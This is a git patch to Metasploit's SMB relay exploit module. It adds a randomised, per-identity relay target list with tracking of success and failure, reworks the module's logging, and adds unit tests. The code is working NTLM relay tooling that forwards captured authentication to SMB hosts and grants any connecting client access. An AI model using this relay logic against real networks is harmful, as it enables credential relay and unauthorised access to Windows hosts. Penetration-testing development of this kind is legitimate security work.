From 144fc5eddfa24c36d918cd9adcf79ea282a072e4 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 25 Feb 2022 10:25:40 +0000 Subject: [PATCH] Add smarter targetlist support --- .../exploit/remote/smb/relay/ntlm/server.rb | 38 +---- .../remote/smb/relay/ntlm/server_client.rb | 66 ++++++--- .../smb/relay/provider/always_grant_access.rb | 32 +++++ .../exploit/remote/smb/relay/target_list.rb | 115 +++++++++++++++ lib/msf/core/exploit/smb_hash_capture.rb | 4 +- modules/exploits/windows/smb/smb_relay.rb | 132 +++++++++++++----- .../remote/smb/relay/target_list_spec.rb | 100 +++++++++++++ 7 files changed, 396 insertions(+), 91 deletions(-) create mode 100644 lib/msf/core/exploit/remote/smb/relay/target_list.rb create mode 100644 spec/lib/msf/exploit/remote/smb/relay/target_list_spec.rb diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/server.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/server.rb index 0ed34a9fd0..21f0e0069a 100644 --- a/lib/msf/core/exploit/remote/smb/relay/ntlm/server.rb +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/server.rb @@ -23,7 +23,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM server_client = Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient.new( self, RubySMB::Dispatcher::Socket.new(sock), - relay_targets: TargetList.new(@relay_targets), + relay_targets: @relay_targets, relay_timeout: @relay_timeout, listener: @listener, ) @@ -32,7 +32,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM logger.info("starting thread for connection") server_client.run rescue => e - print_error "#{e.message}" + logger.print_error "#{e.message}" elog(e) end logger.info("ending thread for connection") @@ -57,38 +57,4 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM end end end - - class Target - def initialize(ip, port, protocol) - raise ArgumentError if ip.nil? || port.nil? || protocol.nil? - - @ip = ip - @port = port - @protocol = protocol - end - - attr_reader :ip, :port, :protocol - end - - # A thread safe target list. The provided targets will be iterated over via the {next} method. - class TargetList - include MonitorMixin - - # @param [Array] targets - def initialize(targets) - super() - @walker = Rex::Socket::RangeWalker.new(targets) - end - - # Return the next available target, or nil - def next - synchronize do - next_ip = @walker.next_ip - return nil if next_ip.nil? - - # TODO: Confirm HTTP relay semantics - Target.new(next_ip, 445, :smb) - end - end - end end diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb index cee4784398..bafc79119a 100644 --- a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb @@ -7,6 +7,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM # The NT Status that will cause a client to reattempt authentication FORCE_RETRY_SESSION_SETUP = ::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED + # @param [Msf::Exploit::Remote::SMB::Relay::TargetList] relay_targets Relay targets + # @param [Object] listener A listener that can receive on_relay_success/on_relay_failure events def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) super(server, dispatcher) @@ -17,25 +19,28 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM end def do_tree_connect_smb2(request, session) - logger.info("relaying to next target") + logger.print_status("Received request for #{session.metadata[:identity]}") + # Attempt to select the next target to relay to - session.metadata[:relay_target] = @relay_targets.next + session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity]) # If there's no more targets to relay to, just tree connect to the currently running server instead if session.metadata[:relay_target].nil? - logger.info("All targets relayed to") + logger.print_status("identity: #{session.metadata[:identity]} - All targets relayed to") return super(request, session) end - logger.info("Relaying to next target #{session.metadata[:relay_target]}") + logger.print_status("Relaying to next target #{display_target(session.metadata[:relay_target])}") relayed_connection = create_relay_smb_client( session.metadata[:relay_target], @relay_timeout ) - return nil if relayed_connection.nil? + if relayed_connection.nil? + @relay_targets.on_relay_end(target, identity: session.metadata[:identity], is_success: false) + end - session.metadata[:relayed_connection] = relayed_connection session.metadata[:relay_mode] = true + session.metadata[:relayed_connection] = relayed_connection session.state = :in_progress response = RubySMB::SMB2::Packet::TreeConnectResponse.new @@ -60,8 +65,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM end # Perform a normal setup flow with ruby_smb - if !session&.metadata[:relay_mode] + unless session&.metadata[:relay_mode] response = super + session.metadata[:identity] = session.user_id + # TODO: Remove guest flag return response end @@ -138,14 +145,21 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM resp = relayed_connection.send_auth_attempt(incoming_security_buffer) - if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS - logger.debug("Successfully authenticated against relay target") + is_success = resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS + @relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success) + + if is_success + logger.print_good("identity: #{session.metadata[:identity]} - Successfully authenticated against relay target #{display_target(relayed_connection.target)}") + session.metadata[:incoming_challenge_response] = ntlm_message + user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8) + domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8) + session.metadata[:identity] = "#{domain}\\#{user}" @listener.on_ntlm_type3( address: relayed_connection.target.ip, ntlm_type1: session.metadata[:incoming_negotiate_message], ntlm_type2: session.metadata[:relay_target_server_challenge], - ntlm_type3: ntlm_message + ntlm_type3: session.metadata[:incoming_challenge_response] ) @listener.on_relay_success(relay_connection: relayed_connection) else @@ -153,10 +167,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM relayed_connection.disconnect! if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE - logger.error("Relay failed due to client authentication details not matching any account on target server #{relayed_connection.target.ip}.") + logger.print_warning("identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{display_target(relayed_connection.target)}") else error_code = WindowsError::NTStatus.find_by_retval(resp.smb2_header.nt_status.value) - logger.error("Relay against target #{relayed_connection.target.ip} failed with unexpected error:\n#{error_code.name}: #{error_code.description}") + logger.print_warning("identity: #{session.metadata[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{error_code.name}: #{error_code.description}") end session.metadata.delete(:relay_mode) @@ -193,16 +207,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM client rescue ::Rex::ConnectionTimeout => e - msg = "Timeout error retrieving server challenge from target #{target.ip}:#{target.port}. Most likely caused by unresponsive target." + msg = "Timeout error retrieving server challenge from target #{display_target(target)}. Most likely caused by unresponsive target" elog(msg, error: e) - print_warning msg + logger.print_error msg nil rescue ::Exception => e - msg = "Unable to create relay to #{target.ip}:#{target.port}" + msg = "Unable to create relay to #{display_target(target)}" elog(msg, error: e) - print_warning msg + logger.print_error msg nil end + + protected + + def display_target(target) + "#{target.protocol}://#{target.ip}:#{target.port}" + end end # The SMB Client for interacting with the relayed_target @@ -291,9 +311,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM # @os_version = extract_os_version(server_type2_message.os_version.to_s) unless server_type2_message.os_version.empty? end rescue ::Exception => e - msg = "Unable to retrieve server challenge at #{self.target.ip}:#{self.target.port}" + msg = "Unable to retrieve server challenge at #{display_target(target)}" elog(msg, error: e) - print_warning msg + logger.print_error msg nil end @@ -326,9 +346,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM response end rescue ::Exception => e - msg = "Unable to authenticate to target #{self.target.ip}:#{self.target.port} via relay." + msg = "Unable to authenticate to target #{display_target(target)} via relay" elog(msg, error: e) - print_warning msg + logger.error msg end def normalize_type3_encoding(type3_msg) @@ -336,5 +356,11 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM end alias :connect :tree_connect + + protected + + def display_target(target) + "#{target.protocol}://#{target.ip}:#{target.port}" + end end end diff --git a/lib/msf/core/exploit/remote/smb/relay/provider/always_grant_access.rb b/lib/msf/core/exploit/remote/smb/relay/provider/always_grant_access.rb index d6fa804e69..cdf578ac5d 100644 --- a/lib/msf/core/exploit/remote/smb/relay/provider/always_grant_access.rb +++ b/lib/msf/core/exploit/remote/smb/relay/provider/always_grant_access.rb @@ -2,11 +2,43 @@ module Msf::Exploit::Remote::SMB::Relay::Provider # An override for the default RubySMB NTLM Authenticator to always grant access, # regardless of the provided credentials class AlwaysGrantAccessAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator + GssResult = Struct.new(:buffer, :nt_status, :identity) + def process_ntlm_type3(type3_msg) + dbg_string = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}" + logger.info("NTLM authentication request overridden to succeed for #{dbg_string}") + # Override the ntlm type3 validation as the current implementation of the # parent class validates user accounts, and doesn't support logging in without valid creds ::WindowsError::NTStatus::STATUS_SUCCESS end + + # take the GSS blob, extract the NTLM type 3 message and pass it to the process method to build the response + # which is then put back into a new GSS reply-blob + def process_gss_type3(gss_api) + parent_result = super + + neg_token_init = Hash[::RubySMB::Gss.asn1dig(gss_api, 0).value.map { |obj| [obj.tag, obj.value[0].value] }] + raw_type3_msg = neg_token_init[2] + + type3_msg = Net::NTLM::Message.parse(raw_type3_msg) + if type3_msg.flag & ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE] == ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE] + type3_msg.domain.force_encoding('UTF-16LE') + type3_msg.user.force_encoding('UTF-16LE') + type3_msg.workstation.force_encoding('UTF-16LE') + identity = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}" + else + identity = nil + end + + GssResult.new( + parent_result.buffer, + parent_result.nt_status, + # Note: The identity is overridden from the parent implementation + # as the parent class will not @account configuration for arbitrary users. It will now be set as domain\user + identity + ) + end end # diff --git a/lib/msf/core/exploit/remote/smb/relay/target_list.rb b/lib/msf/core/exploit/remote/smb/relay/target_list.rb new file mode 100644 index 0000000000..eb8801eda9 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/target_list.rb @@ -0,0 +1,115 @@ +require 'rex/socket' + +module Msf::Exploit::Remote::SMB::Relay + # A thread safe target list. The provided targets will be iterated over via the {next} method. + class TargetList + include MonitorMixin + + # @param [String] targets + def initialize(targets, randomize_targets: true) + super() + + targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip| + Target.new( + ip: target_ip, + port: 445, + protocol: :smb + ) + end + @targets = randomize_targets ? targets.shuffle : targets + end + + # Return the next available target, or nil if the identity has been relayed against all targets + # @param [String,nil] identity The identity, i.e. domain/user, if available + # @return [Target,nil] The next target for the given identity with the least amount of relay attempts. Or nil if all targets have been relayed to for that identity + def next(identity) + synchronize do + next_target = next_target_for(identity) + return nil if next_target.nil? + + next_target.on_relay_start(identity) + next_target + end + end + + # Updates tracking to mark a host as being successfully relayed or not + # @param [Msf::Exploit::Remote::SMB::Relay::Target] target The target that was successfully relayed or not + # @param [String] identity the identity which was used as part of relaying + # @param [TrueClass|FalseClass] is_success True when this identity was successfully relayed to the target, false otherwise + def on_relay_end(target, identity:, is_success:) + synchronize do + target.on_relay_end(identity: identity, is_success: is_success) + end + end + + private + + # @param [Object] identity The identity that will be used during the relay process + # @return [Enumerator] All targets that have not yet successfully been relayed to a target based on the given identity + def next_target_for(identity) + # Choose the next target that hasn't been relayed to yet, and has the least retry attempts - in order to try and + # round robin requests to each host + next_target = @targets.select { |target| target.eligible_relay_target?(identity) } + .min_by { |target| target.relay_attempts_for(identity) } + + next_target + end + end + + class Target + def initialize(ip:, port:, protocol:) + @ip = ip + @port = port + @protocol = protocol + @relay_state = Hash.new do |hash, identity| + hash[identity] = { + relay_status: nil, + relay_attempted_at: nil, + relayed_at: nil, + relay_attempts: 0 + } + end + end + + attr_reader :ip, :port, :protocol + + def eligible_relay_target?(identity) + return true if identity.nil? + + relay_data = relay_data_for(identity) + relay_data[:relay_status].nil? || relay_data[:relay_status] == :failed + end + + def relay_attempts_for(identity) + relay_data = relay_data_for(identity) + relay_data[:relay_attempts] + end + + def on_relay_start(identity) + relay_data = relay_data_for(identity) + relay_data[:relay_attempts] += 1 + relay_data[:relay_attempted_at] = Time.now + relay_data[:relay_status] = :attempting + end + + def on_relay_end(identity:, is_success:) + relay_data = relay_data_for(identity) + if is_success + relay_data[:relay_status] = :success + relay_data[:relayed_at] = Time.now + else + relay_data[:relay_status] = :failed + end + end + + def to_h + { ip: ip, port: port, protocol: protocol, relay_state: @relay_state } + end + + private + + def relay_data_for(username) + @relay_state[username] + end + end +end diff --git a/lib/msf/core/exploit/smb_hash_capture.rb b/lib/msf/core/exploit/smb_hash_capture.rb index a50f3ed7a8..088dff068d 100644 --- a/lib/msf/core/exploit/smb_hash_capture.rb +++ b/lib/msf/core/exploit/smb_hash_capture.rb @@ -35,8 +35,8 @@ module Msf ntlm_message = ntlm_type3 hash_type = nil - user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8) - domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8) + user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding) + domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding) challenge = [ntlm_type2.challenge].pack('Q<') combined_hash = "#{user}::#{domain}" diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 350753d38c..80defdf38f 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -130,6 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil]) @@ -139,33 +140,100 @@ class MetasploitModule < Msf::Exploit::Remote deregister_options('RPORT', 'RHOSTS', 'SMBPass', 'SMBUser') end - # Log devices to be used with Ruby's default Logging - module LogDevice - # Logs using the default framework logging mechanism - class Framework - def write(message) - rlog(message) + module RubySmbAdapter + module Logging + # API inherited from ::Rex::Ui::Output, but as it is a class - it can not be included as a mixin + class Logger < ::Logger + def initialize(mod, log_device) + super(log_device) + @mod = mod + end + + # + # Prints an error message. + # + def print_error(msg = '') + @mod.print_error(msg) + end + + alias print_bad print_error + + # + # Prints a 'good' message. + # + def print_good(msg = '') + @mod.print_good(msg) + end + + # + # Prints a status line. + # + def print_status(msg = '') + @mod.print_status(msg) + end + + # + # Prints an undecorated line of information. + # + def print_line(msg = '') + @mod.print_line(msg) + end + + # + # Prints a warning + # + def print_warning(msg = '') + @mod.print_warning(msg) + end + + # + # Prints a message with no decoration. + # + def print(msg = '') + @mod.print(msg) + end end - def close - # noop + # Log devices to be used with Ruby's default Logging + module LogDevice + # Logs using the default framework logging mechanism + class Framework + def initialize(_framework) + # Note that the framework instance is not technically required as {rlog} is global + # it's just an attempt at future proofing the API + # @framework = framework + end + + def write(message) + rlog(message) + end + + def close + # noop + end + end + + # Logs using the provided module + class Module + def initialize(mod) + @mod = mod + end + + def write(message) + @mod.print(message) + end + + def close + # noop + end + end end end + end - # Logs using the provided module - class Module - def initialize(mod) - @mod = mod - end - - def write(message) - @mod.print(message) - end - - def close - # noop - end - end + def smb_logger + log_device = datastore['VERBOSE'] ? RubySmbAdapter::Logging::LogDevice::Module.new(self) : RubySmbAdapter::Logging::LogDevice::Framework.new(framework) + RubySmbAdapter::Logging::Logger.new(self, log_device) end class SMBRelayServer @@ -223,6 +291,13 @@ class MetasploitModule < Msf::Exploit::Remote attr_accessor :listener_sock, :listener_thread + def self.sock_options_for(options) + { + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + }.merge(options[:socket]) + end + private def sock_options @@ -232,13 +307,6 @@ class MetasploitModule < Msf::Exploit::Remote def smb_server_options(listener_sock) { server_sock: listener_sock }.merge(@options[:smb_server]) end - - def self.sock_options_for(options) - { - 'LocalHost' => '0.0.0.0', - 'LocalPort' => 445 - }.merge(options[:socket]) - end end def start_service(_opts = {}) @@ -254,8 +322,6 @@ class MetasploitModule < Msf::Exploit::Remote validate_smb_hash_capture_datastore(datastore, ntlm_provider) - log_device = datastore['VERBOSE'] ? LogDevice::Module.new(self) : LogDevice::Framework.new - comm = _determine_server_comm(datastore['SRVHOST']) print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") @service = Rex::ServiceManager.start( @@ -274,8 +340,8 @@ class MetasploitModule < Msf::Exploit::Remote }, smb_server: { gss_provider: ntlm_provider, - logger: ::Logger.new(log_device), - relay_targets: datastore['SMBHOST'], + logger: smb_logger, + relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['SMBHOST'], randomize_targets: datastore['RANDOMIZE_TARGETS']), listener: self, relay_timeout: datastore['RELAY_TIMEOUT'], thread_manager: framework.threads diff --git a/spec/lib/msf/exploit/remote/smb/relay/target_list_spec.rb b/spec/lib/msf/exploit/remote/smb/relay/target_list_spec.rb new file mode 100644 index 0000000000..49b30a7a00 --- /dev/null +++ b/spec/lib/msf/exploit/remote/smb/relay/target_list_spec.rb @@ -0,0 +1,100 @@ +require 'rspec' +require 'msf/core/exploit/remote/smb/relay/target_list' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::TargetList do + let(:subject) { described_class.new '192.0.2.1 192.0.2.2 192.0.2.3', randomize_targets: false } + let(:user_one) { 'domain/one' } + let(:user_two) { 'domain/two' } + + describe '#next' do + context 'when no targets have successfully been relayed to' do + it 'indefinitely cycles through available targets when there is no identifier provided' do + 3.times do + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + end + end + + it 'cycles through available targets when there is an identifier provided until all relays are in progress' do + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + # All relay attempts are in progress, don't return a host + expect(subject.next(user_one)).to be_nil + end + end + + context 'when targets have successfully been relayed to' do + before(:each) do + first_target = subject.next(user_one) + expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + subject.on_relay_end(first_target, identity: user_one, is_success: true) + end + + it 'no longer returns resolved hosts for a previously successfully relayed identity' do + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + # All relay attempts are inflight, don't return a host + expect(subject.next(user_one)).to be_nil + end + + it 'returns the next host to target with a nil identity' do + 3.times do + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + end + end + + it 'returns hosts that have not yet been relayed to for a new identifier' do + expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + # All relay attempts are inflight, don't return a host + expect(subject.next(user_two)).to be_nil + end + + it 'no returns targets were if they were unsuccessfully relayed to' do + 3.times do + second_target = subject.next(user_one) + expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + subject.on_relay_end(second_target, identity: user_one, is_success: false) + + third_target = subject.next(user_one) + expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + subject.on_relay_end(third_target, identity: user_one, is_success: false) + end + end + + it 'no longer returns a target if all targets were successfully relayed to that identity' do + second_target = subject.next(user_one) + expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + subject.on_relay_end(second_target, identity: user_one, is_success: true) + + third_target = subject.next(user_one) + expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + subject.on_relay_end(third_target, identity: user_one, is_success: true) + + expect(subject.next(user_one)).to be_nil + end + end + + context 'when a target fails being relayed' do + before(:each) do + first_target = subject.next(user_one) + expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + subject.on_relay_end(first_target, identity: user_one, is_success: false) + end + + it 'can return the same host for the same identity again in the future' do + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb }) + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb }) + # The host can be tried again + expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb }) + # But the first two hosts are now inflight, and can't be relayed to yet - nil is returned + expect(subject.next(user_one)).to be_nil + end + end + end +end